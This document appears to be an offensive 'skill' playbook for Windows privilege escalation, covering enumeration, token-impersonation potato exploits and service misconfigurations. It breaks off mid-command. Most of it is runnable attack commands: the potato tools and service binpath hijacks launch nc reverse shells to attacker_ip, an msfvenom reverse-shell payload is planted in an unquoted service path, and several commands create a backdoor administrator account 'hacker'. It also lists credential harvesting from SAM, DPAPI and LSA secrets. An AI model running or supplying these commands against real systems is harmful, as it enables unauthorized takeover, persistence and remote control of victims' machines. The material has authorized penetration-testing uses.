offensive-windows-privesc

# Windows Privilege Escalation

You have a standard user shell on a Windows target. Your objective is to escalate to NT AUTHORITY\SYSTEM or local Administrator through systematic enumeration and exploitation of misconfigurations, vulnerable services, and unpatched software. This skill provides a structured methodology that moves from passive reconnaissance through increasingly aggressive techniques.

Windows privilege escalation differs fundamentally from Linux. The attack surface centers on services, tokens, the registry, DLL loading mechanics, and the Windows access control model. Master these primitives and you can chain findings from any enumeration tool into a working escalation path.

## Quick Workflow

1. Run automated enumeration (WinPEAS, PowerUp, Seatbelt) to surface misconfigurations.
2. Check current privileges -- SeImpersonate/SeAssignPrimaryToken are immediate wins.
3. Enumerate services for unquoted paths, weak DACLs, and writable binaries.
4. Check AlwaysInstallElevated registry keys for MSI-based escalation.
5. Identify DLL hijacking opportunities in privileged processes.
6. Attempt UAC bypass if running as a local admin without elevated context.
7. Inspect scheduled tasks, registry autoruns, and writable PATH directories.
8. Harvest credentials from SAM, DPAPI, LSA secrets, and Credential Manager.
9. Check for PrintNightmare and other unpatched vulnerabilities as a last resort.

---

## Automated Enumeration

Run automated tools first to build a comprehensive picture of the attack surface. Review output methodically -- these tools surface findings you would otherwise miss.

```powershell
# WinPEAS
.\winPEASx64.exe > C:\Users\Public\winpeas.txt 2>&1
.\winPEASx64.exe servicesinfo  # Specific checks only

# PowerUp
Import-Module .\PowerUp.ps1
Invoke-AllChecks | Out-File -FilePath C:\Users\Public\powerup.txt

# SharpUp / Seatbelt / BeRoot
.\SharpUp.exe audit
.\Seatbelt.exe -group=all > C:\Users\Public\seatbelt.txt
.\beRoot.exe
```

---

## Token Impersonation

When your user holds SeImpersonate or SeAssignPrimaryToken privileges (common for service accounts, IIS AppPool, SQL Server, MSSQL), you can impersonate the SYSTEM token. This is one of the most reliable escalation vectors on Windows.

### Privilege Check

```powershell
# Check current privileges
whoami /priv

# Look for these specifically:
# SeImpersonatePrivilege        - Impersonate a client after authentication
# SeAssignPrimaryTokenPrivilege - Replace a process-level token
```

### JuicyPotato (Windows Server 2008-2016, Windows 7-10 before 1809)

```powershell
# JuicyPotato abuses COM DCOM authentication to negotiate a SYSTEM token
.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe" -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}

# Common CLSIDs vary by OS version
# Windows 10: {4991d34b-80a1-4291-83b6-3328366b9097}
# Windows Server 2016: {8BC3F05E-D86B-11D0-A075-00C04FB68820}

# If default CLSID fails, enumerate valid ones
.\JuicyPotato.exe -z -l 1337 -t * -c {clsid_here}
```

### PrintSpoofer (Windows 10, Server 2016/2019)

```powershell
# Abuses the Print Spooler service to capture a SYSTEM token
.\PrintSpoofer64.exe -i -c powershell.exe

# Direct command execution
.\PrintSpoofer64.exe -c "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe"
```

### GodPotato (Windows 8-11, Server 2012-2022)

```powershell
# Works across a wide range of Windows versions -- choose the right .NET binary
.\GodPotato-NET4.exe -cmd "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe"
```

### SweetPotato and RoguePotato

```powershell
# SweetPotato -- combines multiple potato techniques
.\SweetPotato.exe -p C:\Windows\System32\cmd.exe -a "/c net user hacker Password123! /add && net localgroup Administrators hacker /add"

# RoguePotato (Win10 1809+, Server 2019) -- requires attacker relay on port 135
# Attacker: socat tcp-listen:135,reuseaddr,fork tcp:target_ip:9999
.\RoguePotato.exe -r attacker_ip -e "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe" -l 9999
```

Choose your potato based on the target OS version. PrintSpoofer and GodPotato have the broadest coverage on modern systems.

---

## Service Misconfigurations

Windows services running as SYSTEM are a primary escalation target. Misconfigurations in service paths, permissions, and binary locations create exploitable conditions.

### Unquoted Service Paths

```powershell
# Find unquoted service paths with spaces
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v '"'

# Or use PowerUp
Get-ServiceUnquoted

# Example: path is C:\Program Files\Some Service\binary.exe
# Windows tries these in order:
#   C:\Program.exe
#   C:\Program Files\Some.exe
#   C:\Program Files\Some Service\binary.exe

# If you can write to C:\Program Files\Some Service\
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe -o "C:\Program Files\Some Service\Some.exe"

# Restart the service
sc stop "ServiceName"
sc start "ServiceName"
# Or wait for system reboot
```

### Weak Service DACLs

```powershell
# Check service permissions with accesschk (Sysinternals)
.\accesschk64.exe -uwcqv "Authenticated Users" * /accepteula
.\accesschk64.exe -uwcqv "Users" * /accepteula
.\accesschk64.exe -uwcqv "Everyone" * /accepteula

# If SERVICE_CHANGE_CONFIG is granted
sc config "VulnService" binpath= "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe"
sc stop "VulnService"
sc start "VulnService"

# If SERVICE_ALL_ACCESS is granted
sc config "VulnService" binpath= "net localgroup administrators hacker /add"
sc stop "VulnService"
sc start "VulnService"

# PowerUp automated exploitation
Invoke-ServiceAbuse -Name 'VulnService' -UserName 'hacker' -Password 'Password123!'
```

### Writable Service Binaries

```powershell
# Check if the service binary is writable, then replace it
icacls "C:\Program Files\Service\binary.exe"
move "C:\Program Files\Service\binary.exe" "C: